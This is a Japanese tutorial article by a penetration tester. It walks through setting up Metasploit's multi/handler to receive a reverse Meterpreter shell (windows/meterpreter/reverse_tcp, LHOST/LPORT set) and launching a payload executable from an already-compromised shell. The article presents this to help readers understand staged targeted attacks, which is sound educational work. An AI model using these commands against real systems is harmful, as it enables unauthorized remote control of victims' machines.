まず、現在シェルを奪っているMetasploitはそのままにして、もう一つMetasploitを起動してほしい。そちらで「exploit/multi/handler」モジュールを使う。このモジュールは、こちらから攻撃対象のシェルを提供するポートに接続したり、逆にコネクトバックを待ち受けたりする際に利用するモジュールである。今回は、攻撃対象からコネクトバックをさせるため、接続を待ち受けるための設定を行う。
使い方は今までのExploitモジュールと変わらないが、念のため、順を追って説明する。まずは、[use]でモジュールの選択をする。
use exploit/multi/handler
次はペイロードの設定だ。「dkr05.exe」の作成方法の部分で少し説明したが、今回実行するEXEファイルは[windows/meterpreter/reverse_tcp]を設定して作成されているため、以下のようにペイロードを設定する。
set PAYLOAD windows/meterpreter/reverse_tcp
次に、待ち受けするアドレスを[LHOST]で、待ち受けするポートを[LPORT]で設定する。
set LHOST 192.168.0.11 set LPORT 1337
※LHOSTの[IPアドレス]は、各自の環境に合わせて設定する。
設定した値は、これまでと同様に、[show options]コマンドで確認することができる。
それでは、[exploit]コマンドを実行し、コネクトバックの待ち受けを開始しよう。
exploit
実行に成功すると、待ち受けが開始される。それでは次に、初めに起動していたMetasploitのウィンドウ、つまりシェルを奪取している状態のウィンドウに戻って、操作を行おう。
攻撃対象上の「dkr05.exe」ファイルを、奪取したシェルから実行してみよう。
C:\Users\[ユーザー名]\Videos\dkr05.exe
※[ユーザー名]の部分は各自のログオンユーザー名に変更する。
すると間もなく、「exploit/multi/handler」で待ち受けを開始していた方のウィンドウに、変化が起こるはずだ。下図のように「meterpreter >」というプロンプトが表示されていないだろうか。
また、コマンドプロンプトで[netstat]を実行すると、[dkr05.exe]の実行前後で、TCPの1337番ポートの状態が[LISTENING]から[ESTABLISHED]に変わっているはずだ。接続が確立された状態になったことが分かる。
なお、「meterpreter >」というプロンプトは、Metasploit独自のシェル「Meterpreterシェル」が利用可能になっていることを表している。このシェルにはさまざまな機能が用意されており、通常のシェルよりもはるかに使い勝手が良い。Meterpreterについての細かい説明は本稿では行わないが、最後に一つだけコマンドを実行してみてほしい。
shell
見慣れたWindowsのシェルが表示されたはずだ。ここでいろいろとコマンドを実行してもらうと分かると思うが、前回の[firefox/shell_reverse_tcp]と比べて、断然自由度が高い状態になっている。
起動させた[dkr05.exe]はタスクマネージャーから見える形で動作しているので、検証が終了したら、[タスクの終了]でプロセスを終了しよう。
さて、2回にわたり、Metasploitによる「受動的攻撃」の紹介を行ってきた。一度攻撃に成功した後もさらにアクションを重ね、攻撃者が「自分にとって都合の良い環境」を構築していく一連の流れを、少しはイメージいただけただろうか。
今回紹介したものと全く同じというわけではないが、標的型攻撃と呼ばれる昨今の攻撃においても、目的の達成に向けて段階的に侵略範囲を拡大していく手法がしばしば用いられる。そうした攻撃と対峙する上で、この記事が少しでも参考になれば幸いである。
辻 伸弘(つじ のぶひろ)
セキュリティエンジニアとして、主にペネトレーション検査などに従事している。
民間企業、官公庁問わず多くの検査実績を持つ。
自宅では、趣味としてのハニーポットの運用、IDSによる監視などを行っている。
▼辻氏のブログ「(n)」: http://n.pentest.ninja/
▼辻氏のTwitter: http://twitter.com/ntsuji
Copyright © ITmedia, Inc. All Rights Reserved.